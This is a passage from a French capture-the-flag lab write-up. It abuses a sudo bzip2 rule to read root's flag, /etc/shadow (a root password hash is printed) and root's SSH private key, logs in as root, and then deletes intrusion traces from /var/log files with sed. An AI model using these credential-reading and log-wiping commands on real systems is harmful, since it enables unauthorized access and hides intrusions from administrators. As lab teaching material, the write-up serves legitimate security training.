tous les fichiers du système :

sudo bzip2 -c fichier_que_nous_souhaitons_lire | bzip2 -d

Tentons donc de lire le fichier /root/root.txt au moyen de la commande sudo bzip2 -c
/root/root.txt | bzip2 -d :

Et nous avons donc accès au second flag qui est 1a7bc93ee2a9fb692418229f6209b609.

Mais les choses ne se terminent pas de cette manière, il faut pouvoir obtenir un shell root et
pour cela, nous devons aller plus loin en tentant d’obtenir le mot de passe de root…
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Tentons donc de lire le contenu de /etc/shadow au moyen de la commande sudo bzip2 -c
/etc/shadow | bzip2 -d :

Et nous trouvons le hash du mot de passe de root qui est
$6$0/vQHDYzfuxtOH0w$34IvRqkqp8aLgExnUbeErC7phH6dZtRhfqd0HtRc9YeQS3FZR1AY
9ust4kpAwi8DAjmclfbNdLMrtR5hZlrkY.:18796:0:99999:7:::

Cependant, un hash de type SHA-512 avec sel aléatoire, ce n’est pas pour le moment que
ce genre de hash sera craqué, il faut que nous trouvions une autre méthode…

Un autre fichier qui si lu peut compromettre la sécurité d’un utilisateur est sa clé ssh id_rsa,
tentons donc de lire celle de root au moyen de la commande sudo bzip2 -c /root/.ssh/id_rsa |
bzip2 -d :
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Nous pouvons alors copier-coller le contenu de ce fichier dans un fichier local à notre
machine attaquante ayant des droits de type 600 (que l’on attribue au moyen de la
commande chmod 600 id_rsa)puis tenter de se connecter en ssh au moyen de la
commande ssh -i id_rsa root@192.168.1.10 :

Nous avions pourtant donné les bons droits au fichier, mais le problème est local à la
machine attaquante et est considéré comme une potentielle faille de sécurité, mais puisque
nous contrôlons la situation, et le message d’erreur nous fournit la commande nous
permettant de se connecter malgré tout en créant une nouvelle clé ssh locale, la commande
est ssh-keygen -f '/home/kali/.ssh/known_hosts' -R '192.168.1.10' :
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Plus rien ne devrait donc nous empêcher de nous connecter en tant que root :

Et nous pouvons donc lire le flag :

Nous n’avons même pas eu besoin d'exploiter le fichier flag.sh pour pouvoir accéder au flag.
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10.3 - Suppression des traces

C’est le dossier /var/log qui contient la majorité des traces de nos actions, la commande ls -lt
nous permettra d’afficher en triant les fichier en fonction de leur date de dernière
modification, découvrons donc quels fichiers nous devons modifier :

Pour vider les fichiers de seulement nos actions, nous les modifions en supprimant les
lignes contenant Dec 12 puis Dec 13 au moyen des commandes sed -i '/^Dec 12/d'
nomdufichier. puis sed -i '/^Dec 13/d' nomdufichier.

Ces deux commandes seront appliquées aux fichiers auth.log, daemon.log, syslog, lastlog,
kern.log, messages et debug.

Le fichier php7.3-fpm.log possède une syntaxe différente nous utiliserons les mêmes
commandes que précédemment sauf que les arguments de début de ligne pour la
suppression seront [12-Dec puis [13-Dec au lieu de Dec 12 puis Dec 13.
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Le fichier vsftpd.log possède également une syntaxe différente nous utiliserons les mêmes
commandes que précédemment sauf que les arguments de début de ligne pour la
suppression seront Thu Dec 12 puis Fri Dec 13 au lieu de Dec 12 puis Dec 13.

Nous avons donc obtenu les deux flags puis supprimé les traces d’intrusion sur la machine
cible.


